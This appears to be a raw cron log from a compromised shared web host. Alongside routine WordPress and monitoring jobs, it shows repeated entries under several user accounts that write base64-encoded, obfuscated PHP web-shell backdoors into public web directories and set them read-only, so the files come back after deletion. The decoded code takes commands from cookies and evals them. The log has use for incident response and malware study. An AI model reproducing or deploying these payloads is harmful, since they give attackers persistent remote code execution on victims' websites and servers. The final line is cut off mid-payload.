Jun  7 14:47:02 medusa CROND[16365]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:47:02 medusa CROND[16367]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:47:02 medusa CROND[16368]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:47:02 medusa CROND[16369]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:47:02 medusa CROND[16370]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 14:47:02 medusa CROND[16373]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:47:02 medusa CROND[16379]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:47:02 medusa CROND[16381]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Jun  7 14:48:01 medusa CROND[18284]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:48:01 medusa CROND[18333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:48:01 medusa CROND[18337]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:48:01 medusa CROND[18338]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:48:01 medusa CROND[18339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:48:01 medusa CROND[18340]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:48:01 medusa CROND[18341]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 14:48:01 medusa CROND[18343]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:48:01 medusa CROND[18346]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:48:01 medusa CROND[18345]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:48:01 medusa CROND[18348]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:48:01 medusa CROND[18350]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:48:01 medusa CROND[18360]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:49:02 medusa CROND[20081]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:49:02 medusa CROND[20082]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:49:02 medusa CROND[20083]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:49:02 medusa CROND[20084]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 14:49:02 medusa CROND[20085]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:49:02 medusa CROND[20086]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:49:02 medusa CROND[20087]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:49:02 medusa CROND[20089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:49:02 medusa CROND[20090]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfe